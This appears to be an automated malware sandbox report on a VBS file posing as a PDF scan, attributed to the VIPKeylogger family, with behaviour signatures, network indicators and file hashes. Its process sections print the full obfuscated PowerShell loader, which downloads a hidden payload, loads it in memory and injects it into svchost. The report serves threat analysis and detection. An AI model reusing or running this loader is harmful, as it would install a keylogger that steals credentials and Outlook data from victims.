Analysis Overview
SHA256
025945e88ff07b6cac99091ea9410351047fa352f29026d5751dc15b63ad1765
Threat Level: Known bad
The file Scan12112024,pdf.vbs was found to be: Known bad.
Malicious Activity Summary
VIPKeylogger
Vipkeylogger family
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Looks up external IP address via web service
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Browser Information Discovery
Modifies registry class
outlook_win_path
outlook_office_path
Suspicious use of AdjustPrivilegeToken
Script User-Agent
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-12 06:44
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-12 06:44
Reported
2024-11-12 06:46
Platform
win7-20240903-en
Max time kernel
119s
Max time network
119s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | paste.ee | udp |
| US | 104.21.84.67:80 | paste.ee | tcp |
| US | 104.21.84.67:443 | paste.ee | tcp |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs
| MD5 | 3cc8a019daa8e623719ff9741de015a0 |
| SHA1 | 16e2932236fb74f7009f7b817f070eda4363ba1a |
| SHA256 | a79f475d99a3e9115369fa349cfea634600b82077007c29c3016588b10ff7091 |
| SHA512 | cb639e0bd891b32bab301bcf8537cbf5bbe06e22098c8c3cfeca13edc06053f63c47be551e1a7d651f842e65af27f2a907c9670d255e98db15576227d2250d61 |
memory/2672-8-0x000000001B590000-0x000000001B872000-memory.dmp
memory/2672-9-0x0000000002310000-0x0000000002318000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 6ed099a844cb4db7c1afd67569e8ed84 |
| SHA1 | ae70cdbdfa35dc6e659e3506524a273918f00dff |
| SHA256 | 1d804f8dbd4184c01647dcb05b0e464c925d3cbb5072b7d9c8ca4f3b97ebf15b |
| SHA512 | 1be987f1bcd601b84aef8be167ce92a1dfb42a0fadbeda604205e7ed47aa8d600bd13c78a8193d6bdfeda5836633fb5e3737c81b13ec6aa65320f5da4f43540c |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-12 06:44
Reported
2024-11-12 06:46
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
151s
Command Line
Signatures
VIPKeylogger
Vipkeylogger family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\svchost.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\svchost.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\svchost.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3716 set thread context of 1232 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\svchost.exe |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings | C:\Windows\System32\WScript.exe | N/A |
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\svchost.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\svchost.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\SysWOW64\svchost.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')"
C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | paste.ee | udp |
| US | 172.67.187.200:80 | paste.ee | tcp |
| US | 172.67.187.200:443 | paste.ee | tcp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.187.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 17.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 8.8.8.8:53 | 78.209.215.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pus.rollerswpush.eu | udp |
| LT | 141.98.10.88:80 | pus.rollerswpush.eu | tcp |
| US | 8.8.8.8:53 | 88.10.98.141.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| US | 193.122.130.0:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 8.8.8.8:53 | 0.130.122.193.in-addr.arpa | udp |
| US | 104.21.67.152:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 152.67.21.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | sws.swpushroller.eu | udp |
| LT | 141.98.10.88:80 | sws.swpushroller.eu | tcp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.117.19.2.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs
| MD5 | 3cc8a019daa8e623719ff9741de015a0 |
| SHA1 | 16e2932236fb74f7009f7b817f070eda4363ba1a |
| SHA256 | a79f475d99a3e9115369fa349cfea634600b82077007c29c3016588b10ff7091 |
| SHA512 | cb639e0bd891b32bab301bcf8537cbf5bbe06e22098c8c3cfeca13edc06053f63c47be551e1a7d651f842e65af27f2a907c9670d255e98db15576227d2250d61 |
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mthbvono.xaf.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3260-9-0x000001D379E10000-0x000001D379E32000-memory.dmp
memory/3716-23-0x000001C178C60000-0x000001C178DB8000-memory.dmp
memory/1232-24-0x0000000000400000-0x0000000000437000-memory.dmp
memory/1232-27-0x0000000000400000-0x0000000000437000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5caad758326454b5788ec35315c4c304 |
| SHA1 | 3aef8dba8042662a7fcf97e51047dc636b4d4724 |
| SHA256 | 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391 |
| SHA512 | 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
memory/1232-31-0x0000000005050000-0x000000000509E000-memory.dmp
memory/1232-32-0x00000000059B0000-0x0000000005F54000-memory.dmp
memory/1232-33-0x0000000005110000-0x000000000515E000-memory.dmp
memory/1232-34-0x0000000005400000-0x000000000549C000-memory.dmp
memory/1232-35-0x0000000006740000-0x0000000006902000-memory.dmp
memory/1232-36-0x00000000065E0000-0x0000000006630000-memory.dmp
memory/1232-37-0x0000000006E40000-0x000000000736C000-memory.dmp
memory/1232-38-0x0000000006AF0000-0x0000000006B82000-memory.dmp
memory/1232-39-0x0000000006AB0000-0x0000000006ABA000-memory.dmp